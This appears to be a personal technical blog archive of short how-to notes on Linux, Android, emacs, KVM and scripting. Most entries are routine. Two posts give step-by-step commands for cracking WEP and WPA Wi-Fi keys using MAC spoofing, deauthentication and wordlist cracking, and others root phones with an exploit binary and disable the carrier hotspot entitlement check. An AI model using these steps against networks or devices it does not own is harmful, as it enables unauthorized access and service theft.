Technical Blog of Jian Wang

SUNRPC example

2012-02-08T13:45:00.000-08:00

http://www.cs.rutgers.edu/~pxk/rutgers/notes/rpc/

Make sure go to step 5/6 to follow the example and then read through.

vsphere esx port forwarding on Windows

2012-02-02T08:26:00.000-08:00

Suppose I want to have console view of my VMs, suppose server address is 15.226.49.40:902(default console port)
but my windows ip address is 15.116.*.*, the firewall rules of the Esx
server prevent my connection.

In this case I have to do the following in order to dig tunnel to avoid the firewall rules:
1. putty set up a new ssh session
15.226.49.40:22

2. portforwarding set
L902 15.226.49.40:902
L443 15.226.49.40:443
the reason for 443, is because vsphere use 443 port to let client to login

3. modify
C:Windows\System32\drivers\etc\hosts
Add line:
127.0.0.1 esx

Now open vsphere client:
open the address: esx
instead of the actual server 15.226.49.40

And now you can connect vm console freely.

Linux x86_64 Firefox or Chome

2012-01-30T07:31:00.000-08:00

I am a firefox fan, have been using it ever since its initial release.

But have to admit firefox doesn't work well on x86_64 linux platform.
I have a HP workstation z600 which has 12core/12G memory, but firefox
failed to response to a lot of website in a timely manner.

Just tried chrome x86_64 on my desktop, much better, strongly recommend.

http://www.tejasbarot.com/2011/03/20/howto-installing-google-chrome-on-rhel-6-red-hat-enterprise-linux-6-32bit-64bi/

How to mount windows share folder

2012-01-09T08:31:00.001-08:00

sudo mount -t cifs //192.168.152.132/share/ /mnt/local/ -o username="Jian Wang"

Ubuntu add ppstream support

2012-01-07T21:12:00.000-08:00

My ubuntu is 11.10 oneiric

1.
sudo apt-get install libqt4-core libqt4-dbus libqt4-gui libqt4-
network libqt4-webkit libqt4-xml libfuse2 mplayer

download pps.deb file
http://wowubuntu.com/pps.html?utm_source=twitterfeed&utm_medium

dpkg -i pps.deb

No sound
tools->options-> sound device choose alsa-pci(2nd one) for my specific hardware, HP 8540w laptop.

2. Use totem plugin:
@wnh3yang: totem-pps was renamed to totem-plugin-pps and is only available for Natty (11.04) at the moment.
vi /etc/apt/sources.list

deb http://ppa.launchpad.net/portis25/cnav/ubuntu natty main
deb-src http://ppa.launchpad.net/portis25/cnav/ubuntu natty main

How to root Atrix 4G

2011-11-16T12:30:00.000-08:00

Get root img and fastboot from:
http://briefmobile.com/motorola-atrix-4g-root

How to enter fastboot mode:
Turn off your device. – Hold down the power button and downward volume button until you see “Fastboot” on your screen – Push the upward volume button

On fastboot binary file on linux is in: $BSP/out/host/linux-x86/bin/fastboot

How to Root:
fastboot flash preinstall root.img
fastboot reboot
Enable USB debugging (Settings >> Applications >> Debugging)
Type the following commands
adb shell
$/preinstall/dosu
Type the following commands
#/bin/mount /system -o remount,rw
#cp /preinstall/su /system/bin/su
#chmod 6755 /system/bin/su
#PATH=/system/bin:$PATH pm install -r /preinstall/Superuser.apk

Enable Tethering on 4.5.91
Others the same as Atrix 2
4. go to Line 118 labled Entitlement Check with a value of 1
5. Change value from 1 to "disabled" (without quotes)
6. reboot

How to Root Atrix 2 and get Free Wifi Hotspot

2011-11-14T17:53:00.000-08:00

Works like a charm on my new Atrix 2.

Download Exploit.zip from:
http://forum.xda-developers.com/attachment.php?attachmentid=767

///////////////////////////////////////////
* Root *

adb push zerg /data/local
adb push su /data/local
adb push Superuser.apk /data/local
adb shell
cd /data/local
chmod 777 zerg
./zerg
Wait as root access is gained.
Now type in the following commands:
adb shell
mount -o rw,remount /dev/null /system
cat /data/local/su > /system/bin/su
cat /data/local/Superuser.apk > /system/app/Superuser.apk
chmod 4755 /system/bin/su
chmod 4755 /system/app/Superuser.apk
reboot

////////////////////Wifi Hotspot///////////////
* prerequisites*
1. Root
2. SQlite editor from market
market charges for it. Just google "SQlite editor apk"
you can download and direct install it via

adb install SQlite_Editor.apk

*Steps to use editor*

1. open SQlite editor and scroll to Settings Storage (com.motorola.android.
provider.settings
2. click settings.db
3. click settings
4. Line 148 it should say Entitlement Check On the Atrix 2
Changing the entitlement_check line to 0 instead of to get it working
5. reboot

JNI c/cpp call java function or get value

2011-10-28T07:25:00.000-07:00

Call JNI int func(void):
jobject getIden = env->GetMethodID(surfaceClass, "getIdentity", "()I");
jint iden = env->CallIntMethod(surface, getIden);
LOGD("jianwang --------getSurface identity =%d\n", (int)iden);

Get string:

jfieldID jfd = env->GetFieldID(surfaceClass, "mName", "Ljava/lang/String;");
jstring jstr = (jstring)env->GetObjectField(surface, jfd);
if (jstr) {
const char* icount = env->GetStringUTFChars(jstr, 0);
LOGD("jianwang --------getSurface icount=%s\n", icount);
env->ReleaseStringUTFChars(jstr, icount);
} else
LOGD("jianwang -------- jstr == NULL \n");

Get static int:

gSurfaceJavaGlue.count = env->GetStaticFieldID(surfaceClass, "GPU", "I");
jint icount = env->GetStaticIntField(surfaceClass, gSurfaceJavaGlue.count);

Autobuild script

2011-09-01T16:33:00.000-07:00

Put the following script in crontab
crontab -e

*/10 * * * * ~/autobuild

crontab -l

should see the added task

!/bin/bash

#If the startbuild file is changed within 300 seconds, 

#We will start build flashplayer automatically



#The threshold time that file is modified, we will build

TIME=300

FILE="startbuild"

DATE=(`stat -c %y $FILE| cut -d ' ' -f1`)

#DATE=(`stat -c %y $FILE| awk '{printf $1}')



LOG="/tmp/$FILE$DATE.log"

LOCK="/tmp/lockfile"

t1=(`stat -c %Y $FILE`)

t2=(`date +%s`)

gap=$(($t2-$t1))



function buildfp() {

	touch $LOCK

	cd /jian/koobe

	. build/envsetup.sh 

	chooseproduct VTAB1008

	cd $1/flash/code/products/player/android

	make TARGET_ARCH=ARMV7-A MAKECMDGOALS=release DISABLE_UYVY422_BUFFER=1   USE_AAC_SWCODEC=1  >> $LOG

	cp  $1/flash/code/build/android/results/plugin/ARMV7-A/Release/install_flash_player.apk $2

	rm $LOCK

}



#create log file if it doesn't exist

if [ ! -f $LOG ]; then

	touch $LOG

fi



if [ $gap -lt $TIME ]; then

	if [ -f $LOCK ]; then 

		echo "Another autobuild job is running, skip" > $LOG

	else

		echo "File have been modified in $gap seconds, so start building..." >$LOG

		buildfp /jian/FP103 /tmp

		echo "Finish build!!!" >> $LOG;

	fi

else

	echo "File modified $gap seconds ago, do nothing" > $LOG;

fi

How to install linux kernel in Ubuntu 10/11

2011-07-11T20:37:00.000-07:00

Open a terminal and type the following,

sudo apt-get install fakeroot kernel-wedge build-essential makedumpfile kernel-package libncurses5 libncurses5-dev

Then run the following command,

sudo apt-get build-dep --no-install-recommends linux-image-$(uname -r)

And finally type,

mkdir ~/src
cd ~/src
apt-get source linux-image-$(uname -r)
cd linux-2.6.32

At the time of writing 2.6.32 was the current kernel source, it should remain at this version throughout the life of Ubuntu 10.04

It is a good idea to start with the same .config as the currently running kernel, so type the following,

cp -vi /boot/config-`uname -r` .config

Now we are ready to customize the build and kernel options.

make menuconfig

Once you have finished, save and exit. It is now time to compile. However to speed up the build if you have a dual core processor type,

export CONCURRENCY_LEVEL=3

The general rule is 1 + the number of processor cores.

make-kpkg clean
fakeroot make-kpkg --initrd --append-to-version=-jian kernel-image kernel-headers

After a few minutes or hours your kernel compile will be complete. The next step is to install it.

The kernel package will be created in the parent directory of ~/src/linux-2.6.32 (i.e. ~/src)

cd ~/src
sudo dpkg -i linux-image...deb
sudo dpkg -i linux-headers-2.6.38Custom_amd32.deb

We are almost ready, prior to 10.04 the initramfs kernel image was automatically created. The Ubuntu wiki suggests using the scripts to create the image but I have been unsuccessful in using this method, hence the manual approach.

sudo update-initramfs -c -k all

BUG: Please use the alternate method described below as this command fails to create an image for your new kernel. Special thanks to Helios38. - 16/06/2010

Alternatively if you know the kernel version, substitute the word all with the kernel version.

Example, sudo update-initramfs -c -k 2.6.38.7

Finally we need to add the initramfs image to the grub.cfg file located at /boot/grub/grub.cfg.

For the easy and automatic method as oppose to manually editing the grub.cfg file, just type the following,

sudo update-grub

Now just reboot and your new kernel should automatically load.

How to remove your kernel

sudo dpkg -r linux-headers-...
sudo dpkg -r linux-image-...
sudo rm /boot/initrd.img-...

Install Xen3.3.0 on VMware workstation 7.1

2011-06-16T20:04:00.000-07:00

When testing my new xen hypervisor scheduling algorighm, I often got hang issues when debugging.
Then I am thinking: why not install hypervisor on vmware workstation.

Several steps:

1. Install workstation

2. Create Vmware guest using ubuntu 8.0.4(hardy) iso images

3. boot up guest, under the guest os, download xen3.3.0 source code

4. make world; make install(need to install a lot of tools before this)
apt-get install bcc bin86 gawk bridge-utils iproute libcurl3 libcurl4-openssl-dev bzip2 module-init-tools transfig tgif texinfo pciutils-dev mercurial build-essential make gcc libc6-dev zlib1g-dev python python-dev python-twisted libncurs
es5-dev patch libvncserver-dev libsdl-dev libjpeg62-dev

5. using mkinitramfs to create init fs

# depmod 2.6.18.8-xen
# mkinitramfs -o initrd-2.6.18.8-xen.img 2.6.18.8-xen

6 Add
title xen 3.3
root (hd0,0)
kernel /boot/xen-3.3.0.gz
#module /boot/vmlinuz-2.6.18.8-xen root=UUID=79cf418b-8975-4041-8d74-345f5728b363 ro quiet splash console=tty0
module /boot/vmlinuz-2.6.18.8-xen root=/dev/sda1 ro quiet splash console=tty0
module /boot/initrd.img-2.6.18.8-xen

to /boot/grub/menu.lst

7. Boot up Xen

8. apt-get install xen-tools
modify /etc/xen-tools/xen-tools.conf
choose lenny, and other adjustments you want.

9. sudo xen-create-image --ip 192.168.92.3 --hostname=vm0

10. sudo xm create -c vm0.cfg

most likely guest stuck at crond, add "xencons=tty" in /home/xen/vm0.cfg at extras line.

Create and apply patch

2011-06-10T11:25:00.000-07:00

The diff program can be used to compare two files and to make patches. A typical
example might be

diff -ruN file.old file.new > file.diff

If you want to apply the patch to one file, modify the diff file first few lines
as
--- a/frameworks/base/core/java/android/webkit/WebView.java 2011-05-31 16:41
:46.985618991 -0400
+++ b/frameworks/base/core/java/android/webkit/WebView.java 2011-06-10 14:09
:28.513675152 -0400

This command will create a diff (recursively if directories are used) that shows

the changes, or "delta", between the two files.

To apply the patch created above, we can invoke

patch --dry-run -p1 -i file.diff.

patch -p1 -i file.diff.

The -p tells patch how much it should strip from the paths for the file names in

the patch. -p0 means to strip nothing, or leave the path intact.

For example, supposing the file name in the patch file was

/u/howard/src/blurfl/blurfl.c

setting -p0 gives the entire file name unmodified, -p1 gives

u/howard/src/blurfl/blurfl.c

without the leading slash, -p4 gives

blurfl/blurfl.c

and not specifying -p at all just gives you blurfl.c.

How to root Nexus S using Ubuntu

2011-04-07T09:17:00.000-07:00

Configure udev to recognize fastboot device.

vi /etc/udev/rules.d/51-android.rules

SUBSYSTEMS=="usb", SYSFS{idVendor}=="18d1", MODE="0666"
SUBSYSTEMS=="usb", SYSFS{idVendor}=="0bb4", MODE="0666"
SUBSYSTEMS=="usb", SYSFS{idVendor}=="22b8", MODE="0666"

In this case, Nexus vendor id is "18d1"
See
http://developer.android.com/guide/developing/device.html
for all the vendor ids available.

sudo /etc/init.d/udev restart

sudo reload udev

sudo adb reboot bootloader

choose unlock bootloader

You must have Built Android source code to use fastboot command

cd /jian/mydroid/out/host/linux-x86/bin/
fastboot oem unlock

Now back on this screen you should read
LOCK STATE - UNLOCKED

Download the ClockworkMod recovery image,
fastboot flash recovery recovery.img

Download su-2.3.6.1-ef-signed.zip
adb push su-2.3.6.1-ef-signed.zip /sdcard/su-2.3.6.1-ef-signed.zip
adb reboot bootloader

Select "Recovery

Select "Install ZIP from sdcard" (power button to apply)

Select "Choose ZIP from sdcard" (power button to apply)

Select su-2.3.6.1-ef-signed.zip (power button to apply)

Select "Yes - su-2.3.6.1-ef-signed.zip"

and then reboot, now you should can use
adb shell
su

to get root permission.

Reference:
http://forum.xda-developers.com/showthread.php?t=1007782

How to root android Atrix 4G phone

2011-04-01T14:26:00.000-07:00

http://forum.xda-developers.com/showthread.php?t=1016060

Since I was using firmware 1.5.7 instead of 1.2.6,
have to flash the SBF using RSDlite(huge img to download).

After that you can use GladRoot to install SuperUser.
(might need to do it twice on WinXp to suceed).
And then you can upgrade the system to 1.5.2 via
Setting ->About Phone -> Upgrade phone.

Motorola seems to has strict rules to not allow rooting
of the devices.(Nexus S is quite easy to do it).

How to crack a WEP website

2011-03-27T07:27:00.000-07:00

#Install aircrack
sudo apt-get install aircrack-ng

Remember to use the wifi driver the aircrack websites required
For me, I have to patch the wife driver with one line code change
and recompile the driver.

sudo airmon-ng stop mon0
sudo ifconfig wlan0 down
sudo macchanger -m 00:11:22:33:44:55 wlan0
sudo ifconfig wlan0 up
sudo airmon-ng start wlan0

#find the wep sites
sudo airodump-ng mon0

#start dumping to files
sudo airodump-ng -c 1 --bssid 00:14:A5:0D:96:35 -w dump mon0

#tricky part fake auth
sudo aireplay-ng -1 10 -a 00:14:A5:0D:96:35 -h 00:11:22:33:44:55 mon0

#crack the password
sudo aircrack-ng ./dump-01.cap

Linux memory allocation example

2011-02-12T08:49:00.001-08:00

A good tutorial on the anonymous pages and file cache.

http://linuxdevcenter.com/pub/a/linux/2006/11/30/linux-out-of-memory.html

Display chinese with Elinks

2011-01-25T08:38:00.000-08:00

Elinks is a perfect tool to omit those annoying pis/image/flash.
Best for office use. :-)

But it cannot support Chinese automatically.
Luckily there is a workaround:

Change ~/.elinks/elinks.conf
set config.saving_style_w = 1
set terminal.xterm.charset = "windows-1252"
set terminal.xterm.colors = 0
set terminal.xterm.utf_8_io = 0
set ui.language = "System"
set document.codepage.assume = "windows-1252"

Restart elinks, Done!

emacs cscope on ubuntu

2011-01-20T08:20:00.000-08:00

sudo apt-get install emacs emacs-goodies-el cscope cscope-el

;;emacs setting
(setq cscope-do-not-update-database t)
(load-file "/usr/share/emacs/site-lisp/xcscope.el")
(require 'xcscope)

;; multiple shell
(defun my-shell (arg)
(interactive "p")
(let ((arg (or arg 1)))
(shell (format "*sh%d*" arg))))

(global-unset-key (kbd "C-z"))
(global-set-key (kbd "C-z 1") '(lambda () (interactive) (my-shell 1)))
(global-set-key (kbd "C-z 2") '(lambda () (interactive) (my-shell 2)))
(global-set-key (kbd "C-z 3") '(lambda () (interactive) (my-shell 3)))
(global-set-key (kbd "C-z 4") '(lambda () (interactive) (my-shell 4)))
(global-set-key (kbd "C-z 5") '(lambda () (interactive) (my-shell 5)))
;;to solve shell ls --color problem
(autoload 'ansi-color-for-comint-mode-on "ansi-color" nil t)
(add-hook 'shell-mode-hook 'ansi-color-for-comint-mode-on)

;;for ubuntu install emacs-goodies-el. other systems download file color-theme.el
;; color-theme
;;
(require 'color-theme)
(color-theme-initialize)
(color-theme-robin-hood)

;;for ubuntu install emacs-goodies-el. other systems download file tabbar.el
;; tabbar
;;
(require 'tabbar)
(tabbar-mode)
;(global-set-key (kbd "") 'tabbar-backward-group)
;(global-set-key (kbd "") 'tabbar-forward-group)
(global-set-key (kbd "C-`") 'tabbar-backward) ;切换TAB的快捷键
(global-set-key (kbd "C-") 'tabbar-forward)
;(set-face-attribute 'tabbar-default-face nil :family "Tahoma") ;设置tabbar字体

matplotlib install

2010-07-16T21:42:00.000-07:00

On Ubuntu easy:
sudo apt-get install python-matplotlib

http://matplotlib.sourceforge.net/users/installing.html

Install from source:
sudo yum install libpng libpng-devel freetype-utils zlib-devel zlib freetype freetype-devel

install numpy first (either from source code or python-numpy yum install)

python setup.py build
python setup.py install

-------------------------------
install basemap
http://trac.osgeo.org/geos/
install osgeo from source code.

http://matplotlib.sourceforge.net/faq/howto_faq.html

If cannot display the figure, direct save it to file:

import matplotlib.pyplot as plt
import numpy as np
from matplotlib.backends.backend_pdf import PdfPages

pp = PdfPages('multipage.pdf')

....

pp.savefig()
pp.close()

emacs advanced tips

2010-06-17T20:01:00.000-07:00

Insert Block
C x + rt

Remove Block
C x + rk

Yank Block
C x + ry

M-y
Immediately after C-y, this replaces the yanked part
by the other snippets in the kill ring.

Apply command on shell region:
select region + Alt | + command

Select Word
M + @

find and replace
M + % Space or Del or Ret

Repeat
C + x z

Undo
C + z

Redo
C+g C+z

(define-key global-map "\C-z" 'undo)
(define-key global-map "\M-g" 'goto-line)

Bash quick reference

Ctrl + U Clears the line before the cursor position.
Ctrl + W Delete the word before the cursor
Ctrl + T Swap the last two characters before the cursor
Esc + T Swap the last two words before the cursor
Alt + F Move cursor forward one word on the current line
Alt + B Move cursor backward one word on the current line

Tab Auto-complete files and folder names
Ctrl + K Clear the line after the cursor
Ctrl + R Let’s you search through previously used commands
Ctrl + A Go to the beginning of the line you are currently typing on
Ctrl + E Go to the end of the line you are currently typing on
Ctrl + L Clears the Screen, similar to the clear command
Ctrl + H Same as backspace
Ctrl + C Kill whatever you are running
Ctrl + D Exit the current shell
Ctrl + Z Puts whatever you are running into a suspended background process. fg restores it.

vim commands

2010-05-31T18:32:00.000-07:00

map m w3dw$pj0

b back one word

cscope:

0 or s: Find this C symbol
1 or g: Find this definition
2 or d: Find functions called by this function
3 or c: Find functions calling this function
4 or t: Find this text string
6 or e: Find this egrep pattern
7 or f: Find this file
8 or i: Find files #including this file

nmap s :cs find s =expand("")
nmap g :cs find g =expand("")
nmap c :cs find c =expand("")
nmap t :cs find t =expand("")
nmap e :cs find e =expand("")
nmap f :cs find f =expand("")
nmap i :cs find i ^=expand("")$
nmap d :cs find d =expand("")

nmap s :vert scs find s =expand("")
nmap g :vert scs find g =expand("")
nmap c :vert scs find c =expand("")
nmap t :vert scs find t =expand("")

vi tips
http://rayninfo.co.uk/vimtips.html

Named buffer:
It is possible to copy or delete text from any file to a named buffer, and to keep as many as 26 of those buffers around for convenience. Buffers are created using lower case single letters. Using upper c
ase letter means append to the existing buffer. The command beginning buffer operation is " (double quotation mark). Following it is the name of the buffer and then description of the operation to be perf
ormed:

"ay} - yank (copy) from cursor to end of paragraph into buffer "a".
If buffer exists, overwrite it.
"A12d - delete 12 lines from cursor down and append it to the
existing buffer "a".
"ap - take contents of buffer "a" and paste it below cursor line.

merge pdf files

2010-03-07T11:43:00.000-08:00

#cat pdfs page 1s to new file
cd ~/fay/2001/2001
mv A73557033.pdf ~/
pdftk A=~/A73557033.pdf cat A1 output ~/tmp.pdf
for i in $(ls ~/fay/2001/2001)
do
pdftk A=~/tmp.pdf B=$i cat A1-end B1 output ~/tmp1.pdf
mv ~/tmp1.pdf ~/tmp.pdf
done ### This could be condensed into a "one-liner" if desired.

Download database pdf files:
wget -F -np -r -l 2 -nd -nv -nc nH -i a.html
Since the pdf files downloaded are not with .pdf suffix,
have to find the pattern and rename to pdf.
In this case it is with the pattern
"ste=5&docNum=A12345678$"

for i in $(grep 'ste=5&docNum=.[0-9]\{7,\}$' ./files)
do
a=`echo $i | cut -d= -f5`
echo $a
cp $i $a.pdf
done

rescue grub

2010-03-03T15:57:00.001-08:00

What to do when you screw up your MBR.
The following are the steps you should follow;

Run rescue CD, in rescue mode:

mkdir /mnt/j

mount /dev/sda3 /mnt/j

mount -t proc none /mnt/j/proc

mount -o bind /dev/ /mnt/j/dev

chroot /mnt/j /bin/bash

In new root:
grub> find /boot/grub/grub.conf
(hd0, 2)

grub> root (hd0,2)

grub> setup (hd0)

grub> quit

sync and reboot

KVM Installation Tutorial

2010-02-09T07:28:00.000-08:00

If you want to install KVM on a linux machine,
first check whether KVM is hardware supported.

sudo egrep '(vmx|svm)'  /proc/cpuinfo

if nothing displays as result, then your machine don't support KVM.

The following is step by step tutorial on KVM installation.

------------------------------------------
On ubuntu:
------------------------------------------

sudo apt-get install kvm libvirt-bin virt-manager

sudo adduser $USERNAME libvirtd

'virt-manager' is a very helpful tool to create

new guests. But you need GUI access to the host

in order to use virt-manager.

Click 'new' and choose install media

from either CD or ISO file, (You can either

insert an installation CD or download an

ISO file from any websites like:

[[http://www.ubuntu.com/GetUbuntu/download]]

I am using 64bit machine, so I choosed
ubuntu-8.04.4-desktop-amd64.iso.

go step by step as instructed in virt-manager.

Note:

If you don't want to use whole

disk partition as the guest image, you can use dd to create

a guest image file.

suppose you want all your guest reside in a 8G img file.

sudo dd if=/dev/zero of=GUEST_NAME.img  bs=1024  count=8192000

and choose the img file during the interactive steps.

-------------------------------------------------------
Configuring Network:
-------------------------------------------------------
Suppose my machine is o22:

sudo vi /etc/network/interfaces

Edit lines as following:

auto eth0
iface eth0 inet manual
auto br0
iface br0 inet static
address 10.128.0.22
netmask 255.255.0.0
broadcast 10.128.255.255
gateway 10.128.0.1
bridge_ports eth0
bridge_fd 0
bridge_maxwait 0
bridge_stp off

sudo /etc/init.d/networking restart

Need to disable dhcdbd from starting on boot:

sudo /etc/init.d/dhcdbd stop
sudo update-rc.d -f dhcdbd remove

You can use virt-manager to start the guests.

For the first time users I will suggest you using

dhcp for the guests since you don't know

which subnet the VNET is in.

Suppose it is a Ubuntu guest:

sudo vi /etc/network/interfaces

Add lines:

auto lo
iface lo inet loopback

auto eth0
iface eth0 inet dhcp

sudo /etc/init.d/networking restart

System allocated default ip address for the guests
is always like: 192.168.122.*

Alternatively you can use command line(virsh)
to manage the guests:

http://www.centos.org/docs/5/html/5.2/Virtualization/chap-Virtualization-Managing_guests_with_virsh.html

You can use '''virt-viewer''' application to connect to a virtual

machine's console. But it requires GUI with the virtual machine.
virt-viewer qemu:///system -c GUEST_NAME

---------------------------------------------------
Fedora
---------------------------------------------------
On Fedora installing KVM is quite similar to Ubuntu,

but much easier steps:

sudo yum groupinstall 'Virtualization'

and run 'virt-manager' click new,

use a install cd or install image(iso)

to install the guests.

perl Generate CDF for Benchmark Tests

2010-01-19T09:41:00.000-08:00

use Cwd;
use DBI;
use Benchmark;

use Time::HiRes qw(usleep ualarm gettimeofday tv_interval);
use POSIX;

$count=10000;
@nums = (0 .. 9999);

print "wj Test of  execute selects of 100 items\n";
$loop_time=new Benchmark;

for ($i=1 ; $i <= $count ; $i++)
{
  my ($key_value)=$random[$i];
  my ($query)= "select * from bench1 where id<$key_value and id>($key_value+100)";  
  print "$query\n" if ($opt_debug);
$t0 = [gettimeofday]; 
  $sth = $dbh->prepare($query);
  while ($sth->fetchrow_arrayref) { };      
$nums[$i-1] = floor(tv_interval($t0, [gettimeofday])*1000000 + 0.5);

  $sth->finish;
};
$end_time=new Benchmark;

print "Time for prepared_select ($count): " .
    timestr(timediff($end_time, $loop_time),"all") . "\n";


#wj
@nums = sort{$a<=>$b}(@nums);
open (MYFILE, '>tmp');
for ($i= 0; $i< $count; $i++) {
 $percent = $i/$count;
 $cdf = join "",$nums[$i],"\t",$percent; 
 if ($nums[$i] !=  $nums[$i+1] || $i == count-1) {
  print MYFILE "$cdf\n"; 
 }
}
close (MYFILE);

Find common data from three files

2009-12-15T21:14:00.001-08:00

Given 3 files, each with names of thousands of customers who bought something from Amazon.com on that particular day. Find the common customers (i.e. common names in file1 and file2 and file3)

Solution:

1) assuming UNIX like systems:

cat f1 f2 | sort | uniq -d > tmpfile;

cat f3 tmpfile | sort | uniq -d

-------------------
Better options:
sort f1 f2 f3 |uniq -d

http://www.softpanorama.org/Tools/Sort/unix_sort_examples_collection.shtml
sort -t ':' -k 3,4 /etc/passwd

http://amazoninterview.blogspot.com/2007/05/find-common-data-from-three-files.html

find files with phone number

2009-12-15T20:44:00.000-08:00

with following two formats
(xxx) xxx-xxxx and xxx-xxx-xxxx.

-l list only filename
grep -l -R --perl-regexp "\b($\d{3}$\s*|\d{3}-)\d{3}-\d{4}\b" * > output.txt

(xxx) or xxx-
$\d{3}$\s*|\d{3}-
xxx-xxxx
\d{3}-\d{4}

http://www.wellho.net/regex/grep.html
http://www.robelle.com/smugbook/regexpr.html
(grep doesn't support "+" "|" "()"
(xxx) or xxx-
egrep "\([0-9]\{3\})|[0-9]\{3\}-" ./*
ls -1 list 1 file one line:
ls -1 | egrep 'DIV_(pharm|dental|vision)

perl replace "search" with "replace" and make the file as backup
perl -pi.bak -e's/searchs/replaces/' file1 file2 file3 fileN

Using aircrack-ng to hack WPA wireless protocol

2009-12-07T20:18:00.000-08:00

Forum
http://forum.aircrack-ng.org/index.php?PHPSESSID=175264d2aaf388739350642fae99a34a&board=1.0

Windows network commands
http://whirlpool.net.au/wiki/?tag=Windows_NW_Diag_Cmds

linux manual
http://www.aircrack-ng.org/doku.php?id=getting_started
http://www.aircrack-ng.org/doku.php?id=airserv-ng

airserv-ng -d "commview.dll| {my adapter id}"
此时airserv-ng就在正常载入驱动后，同时开始监听本地的666端口。换句话说，airserv-ng提供的是该无线网卡的网络服务，其他计算机上的用户也可以连接到这个端口来使用这块网卡，如图5-30所示。

步骤2：现在可以使用airodump-ng来搜索当前无线环境了。注意，要另开启一个CMD，再输入如下命令：

airodump-ng 127.0.0.1：666
这里在IP地址处输入为本机即127.0.0.1，端口采用的是默认的666。

airodump-ng --channel number -w filename 127.0.0.1:666
这里输入“airodump-ng --channel 7 -w onewpa 127.0.0.1:666”，回车后可看到如图5-32所示的内容。

步骤3：现在，就可以和前面在BackTrack 2中讲述的一样进行Deauth攻击了，另开启一个CMD，输入（如图5-33所示）：

aireplay-ng -0 1 -a AP’s MAC 127.0.0.1:666

在个别情况下，可能会在上面命令结束时出现wi_write<>:Operation now progress这样的提示，这个提示在很多无线网卡下都会出现，意思是当前进程调用被占用时，Deauth攻击在大多数情况下并不会受此影响。

步骤4：再开启一个CMD，输入命令查看是否捕获到WPA握手数据包。命令如下：

aircrack-ng 捕获的数据包名
如果没有捕获到WPA握手数据包，就会有显示的“0 handshake”，这个时候切回到刚才aireplay-ng所在的CMD中
重复进行Deauth攻击。

攻击过程中注意观察airodump-ng工作界面，当右上角出现如图5-35所示的提示时，就表示成功截获到WPA握手数据包了。

此时再次使用aircrack-ng 打开捕获的数据包，就可以看到截获到WPA <1 handshake>的显示了，
接下来便可以进行WPA本地破解了。

破解WPA-PSK输入命令如下：

aircrack-ng -w password.txt onewpa*.cap
这里介绍一个小技巧，可以在输入数据包名后面加一个*号，来自动将捕获的该名称的所有数据包整合导入。回车后，显示如图5-37所示。

如同在Linux下破解WPA一般耐心地等待，就可以看到WPA密钥成功解出了.

{1,5, -5, -8,2, -1,15 } -> {-5, -8, -1, 1, 5, 2,15}

2009-11-30T21:03:00.001-08:00

每遇到一个负数, instead of exchange with the
first 正数，把前面的正数right round shift就可以了。

Index 0 1 2 3
Data 1 5 4 -5

L = 0, R = 3
right round shift from 1 to -5 就变成
-5 1 5 4

void shiftright(int* A, int L, int R) {

        int tmp=A[R],i;

        for (i=R; i>L; i--) {

                A[i] = A[i-1];

        }

        A[L] = tmp;

}





int main(){

        int a[] = {-7, -8, 9, -6, -11, -3, -5, 2, 3};

        int n, i, j= 0;

        n = sizeof(a)/sizeof(int);

        printf("array size %d\n", n);



        for(i=0; i                if (a[i] < 0) {

                        if (i==j) { j++;  continue; }

                        shiftright(a, j++, i );

                }

        }



        for(i=0; i                printf("%d\t", a[i]);

        }

        printf("\n");

}

Software development under Linux

2009-11-15T18:48:00.000-08:00

Posted on 2003, a little bit old, but still very useful guide for
linux beginners.
http://reallylongword.org/gentoo/

Quick start on python
http://reallylongword.org/python/

How to create SVN repository
http://reallylongword.org/svn/

grep/cut/perl usage examples

2009-11-15T00:26:00.000-08:00

grep -o
Only print the match part.
grep -A num
Print num lines after the match

grep "\<" match the empty string at the beginning
of the word
$ echo "so happy i am " | grep -o "\"
happy

echo -e "\t"
Show special chars in script string.

cut -s
do not print lines not containing delimiters


#!/bin/bash
for file in $(ls *.html)
do
        match=$(perl parse.pl $file | grep -A 1   Manufacturer:)
        manu=$(echo $match | grep -w -o  Manufacturer:.*Mfr | sed 's/Manufacturer://g'|  sed 's/M
fr//g')
        date=$(echo $match | grep -w -o  "Date:.*NHTSA CAMPAIGN"| sed 's/Date://g'|  sed 's/NHTSA
 CAMPAIGN//g')
        comp=$(echo $match | grep -w -o  Component:.*Potential | sed 's/Component: //g'|  sed 's/
Potential//g')
        num=$(echo $match | grep -w -o  Affected:.*Summary | sed 's/Affected: //g'|  sed 's/Summa
ry//g')

        echo -e  "$manu\t$comp\t$num\t$date" >> table
done

#       file1="${file%.html}.txt"
#       echo $file1
#       manu=$(grep "Manufacturer:" $newfile| cut -d":" -s -f 2)
#       date=$(grep "ReportDate:"  $newfile| cut -b 19-32)
#       date=$(grep "ReportDate:"  $newfile| cut -b 19-32)
#       comp=$(grep "Component:" $newfile|sed 's/Component:/\t/g' |)

awk vs sed

2009-11-05T12:32:00.000-08:00

"Doing even seemingly simple thing in sed can quickly result in large,
difficult expressions, making most usage of sed hard to understand. sed
works well for simple cases of string filtering, but awk can often be a
more maintainable choice."

http://www.osnews.com/story/21004/Awk_and_Sed_One-Liners_Explained
seq 19 | tr '\n' ,
tr translate \n with ,

http://reallylongword.org/sedawk/
"&" stands for the matched part of the text

sed 's!.*/!!'

[jwang@osnet1 bin ]$ echo "/users/abc/bla1.exe" |sed 's!.*/!!'

bla1.exe

Remove MSDOS carriage return characters of each line.
sed 's/\r$//'



#!/bin/bash

while read line
do
#   path=${line%%/*}  
   path=${line%/*} 
   echo $path
done < $1 > outfile

exit 0


#newusers/defgh/ik/albg2.exe
#->
#newusers/defgh/ik


#if %%  result is :
#newusers

linux npviewer problem

2009-11-03T11:50:00.000-08:00

64-bit Firefox npwrapper (npviewer) plugin allows the 32-bit version
of Flash Player run in 64-bit Firefox. But it lock up all the time and
eating CPU cycles all the time.

How to kill npviewer process:
for name in $(ps ux | awk '/npviewer.bin/ && !/awk/ {print $2}'); do kill "$name"; done

Install firefox plugin: noscript or flashblock will solve the problem.

Download 64 bit flashplayer here:
sudo yum install flash-plugin libflashsupport
http://www.cyberciti.biz/tips/linux-install-flash-player-10.html
wget http://fpdownload.macromedia.com/get/flashplayer/current/install_flash_player_10_linux.tar.gz
extract and copy libflashplayer.so to /usr/lib/mozilla/plugins/libflashplayer.so

Notes:
Seems the 64 bit player still not work right now for firefox
http://labs.adobe.com/downloads/flashplayer10.html

download search result from cgi/cfm form

2009-10-30T13:47:00.000-07:00

get second column and sort and remove duplicate

